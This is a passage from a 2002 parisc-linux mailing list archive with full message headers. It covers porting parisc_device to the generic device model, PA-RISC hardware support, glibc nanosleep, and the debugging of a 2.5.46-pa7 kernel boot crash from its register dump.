iosapic code "owns" the IRQ. And it could make visible other info
regarding IRQs - eg type and which CPU it's directed at.
But I get the feeling only bus specific code can do that since
it "owns" the directory. Do I misunderstand?

thanks,
grant


From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 09 Nov 2002 12:03:17 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20021109190317.61DEA4829@dsl2.external.hp.com>
References: <200211090128.RAA31693@adam.yggdrasil.com> <adam@yggdrasil.com> <20021109015611.571B44829@dsl2.external.hp.com> <20021109034612.S12011@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20021109170206.DA635482A@dsl2.external.hp.com>  <20021109175010.V12011@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621894 16551 80.91.229.3 (22 Nov 2014 02:04:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 12:03:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 61DEA4829; Sat,  9 Nov 2002 12:03:17 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sat, 09 Nov 2002 17:50:10 GMT." <20021109175010.V12011@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16694

Matthew Wilcox wrote:
> F-I class kept PCX-T processors to the bitter end.  You're thinking of
> E class, I think, which are all PCX-L.

Ah ok - I probably am. It's been a few years since I've worked with
Nova class machines.

> Really, we're just waiting for
> a V class to turn up in resource recovery to start work ;-)

Won't be too much longer ;^)

> Looking at the T600 in the hwdb..
>         Miura LAN/Console (J2146A) -- completely unlike anything else
> 	Countach LAN/Console -- same as Diablo & KittyHawk CSY LAN/Console,
> 				doubt we care.
> 	Skunk SCSI -- its the SPIFI chip, probably supportable.
> 	Wizard SCSI -- also in E/K class, probably supportable too.
> 	Skunk Centronics -- also in E/K class, probably supportable.
> 	Emerald Console -- unique
> 	Java IOA -- unique

Java is a U2/UTurn compatible chip that only provides an IOMMU.
It's *NOT* IO Coherent.

Jolt is missing. It's the "Summit" to "Runway" busconverter.
Doesn't need any OS code execept when doing bus walks.

> there's actually less unsupportable hardware in there than i thought,
> but i'm still not really interested in it.

ditto - me either. I've suffered enough for that machine.

grant


From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nanosleep
Date: Sat, 9 Nov 2002 14:26:52 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20021109192651.GC15380@systemhalted>
References: <200211081116.gA8BGuX28978@mailgate5.cinetic.de> <20021108161225.GD2402@systemhalted> <3DCCC839.EFC91019@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621894 16554 80.91.229.3 (22 Nov 2014 02:04:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "b.gunreben" <b.gunreben@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 12:26:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9C3A4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 12:26:46 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18AbFs-0004BM-00; Sat, 09 Nov 2002 14:26:52 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	"b.gunreben" <b.gunreben@web.de>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3DCCC839.EFC91019@web.de>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (60% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16695

> > glibc 2.3.1 from debian CVS or upstream?
> 
> This is upstream with hppa patches from the debian tree. 

That's currently broke, and I've been slotting in my time to fix this.
Currently rebuilding glibc :}
 
> The report was probably bad. In the mail thread I mentioned in my
> previous mail, the nanosleep in the kernel was fixed because of
> threading problems. If I understand it correctly, threading will always
> have problems without a realy working nanosleep.
 
Yes. You'll see it's use sprinkled in linuxthreads/* and in particular 
spinlock.c

c.



From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5.46-pa7 boot prob
Date: Sat, 9 Nov 2002 19:27:31 +0000 (UTC)
Lines: 86
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211091923280.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621895 16556 80.91.229.3 (22 Nov 2014 02:04:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 12:28:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2EDD4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 12:28:03 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 07C791FFEC2
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 20:27:59 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 599371FFEA5; Sat,  9 Nov 2002 20:27:58 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id EB01C22E1C; Sat,  9 Nov 2002 19:27:31 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id E1DCA22E1A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 19:27:31 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16696

Hi,

run it through ksymoops but got nothing usable. Only
stack dump was printed...

If you need more information please let me know.


Linux version 2.5.46-pa7 (bz@apollo) (gcc version 3.2) #3 Sat Nov 9 16:51:14 UTC 2002
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 000060b0 00000481 00000000 00000000 78356107 00000000 00000004 00000072 00000072
vers  0000000b
model 9000/715
Total Memory: 96 Mb
pagetable_init
On node 0 totalpages: 24576
  DMA zone: 24576 pages, LIFO batch:6
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/sda3 HOME=/ TERM=linux console=ttyS0 palo_kernel=3/boot/vmlinux-2.5.46-pa7
...
Serial: 8250/16550 driver $Revision: 1.90 $ IRQ sharing disabled
ttyS0 at MMIO 0xf0105800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xf0202800 (irq = 121) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071A_Z
STI word mode ROM at f0025000, hpa at f8000000
STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1280

Stack Dump:
 15fb07c0:  0004ff0f 00000000 00000000 00000000
 15fb07b0:  00000000 10141cc4 00000000 00000000
 15fb07a0:  00000000 10362010 00000066 102a7ce4
 15fb0790:  00000000 10061c00 10362010 10029c60
 15fb0780:  000000a0 00000000 00000000 00000000
 15fb0770:  00000000 101f0814 1010d2e4 00000000
 15fb0760:  00000000 00000000 00000188 00000000
 15fb0750:  00000000 10360810 1029e810 00000000
 15fb0740:  00000000 00000000 41000000 00000000
 15fb0730:  40800000 101bfb18 40000000 00000000
 15fb0720:  00008124 00000000 00000000 00000000
 15fb0710:  00000000 1029e940 00000000 00000000

Kernel addresses on the stack:
 [<10141cc4>]  [<101f0814>]  [<1010d2e4>]  [<101bfb18>]
 [<101bfc78>]  [<101bfb18>]  [<101c0068>]  [<101459cc>]
 [<10125878>]  [<10141f58>]  [<10142100>]  [<101ee63c>]
 [<101ee0c4>]  [<101459cc>]  [<101bfda4>]  [<101c4168>]
 [<10141f58>]  [<101ed0f8>]  [<10121d70>]  [<10144c7c>]
 [<10100198>]  [<10109c54>]

Kernel Fault: Code=26 regs=15fb07c0 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 00000000 101f0814 102a7ce4
r04-07  00000500 102a7ce4 00002000 10061c00
r08-11  10362010 10029c60 00000400 1029e940
r12-15  000000a0 00000140 00000040 00000000
r16-19  00005000 15fb04c8 15f4d000 00000013
r20-23  00000000 00000000 10029c60 00000001
r24-27  00000000 00080000 00000000 1027e010
r28-31  00000000 00000400 15fb07c0 101f4264
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101f4290 101f4294
 IIR: 0ea01085    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 15fb0000 CR31: 102b7000
 ORIG_R28: 00000000


-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/




From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5.46-pa7 boot prob
Date: Sat, 9 Nov 2002 12:11:44 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <20021109201144.GW9563@tausq.org>
References: <Pine.BSF.4.44.0211091923280.32930-100000@e0-0.zab2.int.zabbadoz.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621895 16558 80.91.229.3 (22 Nov 2014 02:04:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 13:07:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6AABF4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 13:07:11 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 79FACCD2B0; Sat,  9 Nov 2002 12:11:44 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.44.0211091923280.32930-100000@e0-0.zab2.int.zabbadoz.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16697

In reference to a message from Bjoern A. Zeeb, dated Nov 09:
> run it through ksymoops but got nothing usable. Only
> stack dump was printed...

yeah, we haven't gotten ksymoops to work yet...

> If you need more information please let me know.

In general, a System.map file that corresponds to your kernel is also
needed.

from the reg dump:

> r20-23  00000000 00000000 10029c60 00000001
>  IIR: 0ea01085    ISR: 00000000  IOR: 00000000

it's a null ptr deref...
faulting insn is: ldw 0(sr0,r21),r5
and r21 is 0...

can you either supply a System.map, or look up the 
"iaoq" and "r02" addresses in the register dump and see which function
they are in?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5.46-pa7 boot prob
Date: Sat, 9 Nov 2002 20:45:48 +0000 (UTC)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211092040150.32930-100000@e0-0.zab2.int.zabbadoz.net>
References: <20021109201144.GW9563@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621895 16560 80.91.229.3 (22 Nov 2014 02:04:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 13:45:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0226A4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 13:45:55 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 2BD061FFEC3; Sat,  9 Nov 2002 21:45:51 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 675831FFEBE; Sat,  9 Nov 2002 21:45:50 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id CF44A22E18; Sat,  9 Nov 2002 20:45:48 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id C5FF022E13; Sat,  9 Nov 2002 20:45:48 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20021109201144.GW9563@tausq.org>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16698

On Sat, 9 Nov 2002, Randolph Chung wrote:

> > If you need more information please let me know.
>
> In general, a System.map file that corresponds to your kernel is also
> needed.

you can find it on:

http://www.zabbadoz.net/zabbadoz-network/apollo/linux-testing/

http://www.zabbadoz.net/zabbadoz-network/apollo/linux-testing/System.map-2.5.46-pa7
http://www.zabbadoz.net/zabbadoz-network/apollo/linux-testing/config-2.5.46-pa7

and full startup log from serial console:

http://www.zabbadoz.net/zabbadoz-network/apollo/linux-testing/apollo-2.5.46-pa7.01

> from the reg dump:
>
> > r20-23  00000000 00000000 10029c60 00000001
> >  IIR: 0ea01085    ISR: 00000000  IOR: 00000000
>
> it's a null ptr deref...
> faulting insn is: ldw 0(sr0,r21),r5
> and r21 is 0...
>
> can you either supply a System.map, or look up the
> "iaoq" and "r02" addresses in the register dump and see which function
> they are in?

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam J. Richter" <adam@yggdrasil.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 9 Nov 2002 16:23:59 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <200211100023.QAA27139__43533.7036652074$1416621896$gmane$org@baldur.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621896 16562 80.91.229.3 (22 Nov 2014 02:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:56 +0000 (UTC)
Cc: andmike@us.ibm.com, greg@kroah.com, hch@lst.de,
	linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org, willy@debian.org
To: James.Bottomley@steeleye.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 17:24:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from freya.yggdrasil.com (h-64-105-136-52.SNVACAID.covad.net [64.105.136.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EA5B4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 17:24:16 -0700 (MST)
Original-Received: from baldur.yggdrasil.com (baldur.yggdrasil.com [209.249.10.12])
	by freya.yggdrasil.com (8.9.3/8.9.3) with ESMTP id QAA27003;
	Sat, 9 Nov 2002 16:24:06 -0800
Original-Received: (from adam@localhost)
	by baldur.yggdrasil.com (8.9.3/8.9.3) id QAA27139;
	Sat, 9 Nov 2002 16:23:59 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16699

James Bottomley wrote:
>3. Machine is partially consistent.  consistent allocation may fail because 
>we're out of consistent memory so we have to fall back to the old.

	I'd like to know more about what these machines look
like in the real world.  Specifically, I am interested in the
trade-off of having a parameter to wback_fake_consistent
so that it could be enabled or disabled on an individual basis.

	I suspect that the parameter is not worth the clutter because
these "partially consistent" machines either have a large amount of
consistent memory, so the case of the allocation failing in the is not
worth supporting, or it is easy to check for consistent memory on them
with something like "if ((unsigned long) vaddr < 0xwhatever)", but I'm
just guessing.

Adam J. Richter     __     ______________   575 Oroville Road
adam@yggdrasil.com     \ /                  Miplitas, California 95035
+1 408 309-6081         | g g d r a s i l   United States of America
                         "Free Software For The Rest Of Us."




From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam J. Richter" <adam@yggdrasil.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 9 Nov 2002 17:50:42 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <200211100150.RAA27228__42279.1130179123$1416621896$gmane$org@baldur.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621896 16567 80.91.229.3 (22 Nov 2014 02:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:56 +0000 (UTC)
Cc: andmike@us.ibm.com, hch@lst.de, James.Bottomley@steeleye.com,
	linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 18:50:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from freya.yggdrasil.com (h-64-105-136-52.SNVACAID.covad.net [64.105.136.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B3A84829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 18:50:54 -0700 (MST)
Original-Received: from baldur.yggdrasil.com (baldur.yggdrasil.com [209.249.10.12])
	by freya.yggdrasil.com (8.9.3/8.9.3) with ESMTP id RAA28023;
	Sat, 9 Nov 2002 17:50:49 -0800
Original-Received: (from adam@localhost)
	by baldur.yggdrasil.com (8.9.3/8.9.3) id RAA27228;
	Sat, 9 Nov 2002 17:50:42 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16700

Grant Grundler writes:
>Documentation/driver-model/overview.txt:
>| Note also that it is at the _end_ of struct pci_dev. This is
>| to make people think about what they're doing when switching between the bus
>| driver and the global driver; and to prevent against mindless casts between
>| the two.
>
>Until this changes, I don't see this as a useful replacement for
>either PCI or parisc devices. The "mindless casts" can be fixed.
>But without the ability to easily go from generic device type to
>bus specific type, people will just get lost in the maze of pointers.

	linux-2.5.46/include/linux/kernel.h already defines
container_of(ptr_to_element, parent_struct, element_name).

>From <linux/pci.h>:
#define to_pci_dev(n) container_of(n, struct pci_dev, dev)

>From <linux/usb.h>:
#define to_usb_device(d) container_of(d, struct usb_device, dev)

>From <asm-parisc/hardware.h> with my parisc device patch:
static inline struct parisc_device *to_parisc_dev(struct device *dev)
{
        return container_of(dev, struct parisc_device, device);
}

Adam J. Richter     __     ______________   575 Oroville Road
adam@yggdrasil.com     \ /                  Miplitas, California 95035
+1 408 309-6081         | g g d r a s i l   United States of America
                         "Free Software For The Rest Of Us."


From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device 
 interface
Date: Sat, 09 Nov 2002 21:01:29 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <200211100201.gAA21Uv04824__5575.53230687535$1416621896$gmane$org@localhost.localdomain>
References: <adam@yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621896 16572 80.91.229.3 (22 Nov 2014 02:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:56 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com, andmike@us.ibm.com, greg@kroah.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org, willy@debian.org
To: "Adam J. Richter" <adam@yggdrasil.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 19:01:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
